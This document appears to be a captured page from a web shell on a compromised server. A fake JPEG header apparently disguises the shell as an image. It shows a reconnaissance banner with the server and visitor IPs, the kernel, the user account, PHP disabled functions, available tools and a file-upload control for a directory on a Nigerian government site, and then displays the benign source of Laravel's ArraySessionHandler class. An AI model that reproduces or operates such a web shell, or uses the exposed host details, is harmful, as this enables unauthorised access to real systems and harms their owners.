ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.223.43.233 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Session/ |
Upload File : |
<?php namespace Illuminate\Session; use Illuminate\Support\InteractsWithTime; use SessionHandlerInterface; class ArraySessionHandler implements SessionHandlerInterface { use InteractsWithTime; /** * The array of stored values. * * @var array */ protected $storage = []; /** * The number of minutes the session should be valid. * * @var int */ protected $minutes; /** * Create a new array driven handler instance. * * @param int $minutes * @return void */ public function __construct($minutes) { $this->minutes = $minutes; } /** * {@inheritdoc} */ public function open($savePath, $sessionName) { return true; } /** * {@inheritdoc} */ public function close() { return true; } /** * {@inheritdoc} */ public function read($sessionId) { if (! isset($this->storage[$sessionId])) { return ''; } $session = $this->storage[$sessionId]; $expiration = $this->calculateExpiration($this->minutes * 60); if (isset($session['time']) && $session['time'] >= $expiration) { return $session['data']; } return ''; } /** * {@inheritdoc} */ public function write($sessionId, $data) { $this->storage[$sessionId] = [ 'data' => $data, 'time' => $this->currentTime(), ]; return true; } /** * {@inheritdoc} */ public function destroy($sessionId) { if (isset($this->storage[$sessionId])) { unset($this->storage[$sessionId]); } return true; } /** * {@inheritdoc} */ public function gc($lifetime) { $expiration = $this->calculateExpiration($lifetime); foreach ($this->storage as $sessionId => $session) { if ($session['time'] < $expiration) { unset($this->storage[$sessionId]); } } return true; } /** * Get the expiration time of the session. * * @param int $seconds * @return int */ protected function calculateExpiration($seconds) { return $this->currentTime() - $seconds; } }